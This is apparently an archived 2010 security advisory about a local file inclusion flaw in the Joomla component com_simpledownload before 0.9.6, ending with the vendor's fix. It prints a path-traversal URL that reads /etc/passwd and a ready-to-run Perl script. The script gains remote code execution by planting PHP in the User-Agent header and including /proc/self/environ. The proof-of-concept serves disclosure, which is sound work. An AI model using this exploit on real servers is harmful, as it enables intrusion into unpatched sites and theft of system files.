Joomla component SimpleDownload Local File Inclusion

2010-05-18T00:00:00
ID SECURITYVULNS:DOC:23883
Type securityvulns
Reporter Securityvulns
Modified 2010-05-18T00:00:00

Description

--[Description]-- A vulnerability has been found in the downloader component for Joomla. It can be exploited in various ways - from sensitive information disclosure to remote code execution.

Input passed to controller is not properly sanitized, allowing attacker to inject php code via Local File Inclusion combined with Directory Traversal (/proc/self/environ method) and Null Byte Injection, leading to Remote Code Execution.

--[Vendor]-- http://joomla.joelrowley.com/

--[Vulnerable Version]-- com_simpledownload <0.9.6

--[Impact]-- Local File Inclusion Directory Traversal Remote Code Execution

--[LFI Exploit]-- /index2.php?option=com_simpledownload&controller=[LFI]%00

--[LFI PoC]-- /index2.php?option=com_simpledownload&controller= ./../../../../../../../etc/passwd%00

--[RCE PoC]--

!/usr/bin/perl -w

quick'n'dirty PoC for RCE

com_simpledownload <0.9.6

by <sm0q>

usage eg.:

$./expl.pl -h localhost \

-c "<?php passthru('uname -a > uname.txt'); ?>"

use LWP::UserAgent; use Getopt::Std; my %o=(); getopts("c:h:",\%o); die "Usage: $0 -h target_host -c command\n" if ! (defined $o{h} && defined $o{c}); $o{h} =~ s/(http:\/\/)?(.*)/http:\/\/$2/; my $url="/index2.php?option=com_simpledownload&controller=../../../../../../../../../../../../../../../../../proc/self/environ%00"; my $lwp = LWP::UserAgent->new; print $lwp->get($o{h}.$url, 'User-Agent'=>"$o{c}")->decoded_content;

--[Solution]-- Thanks to quick response from Joel Rowley fix released in version 0.9.6 - upgrade as soon as possible from: http://extensions.joomla.org/extensions/directory-a-documentation/downloads/10717

--[EOF]--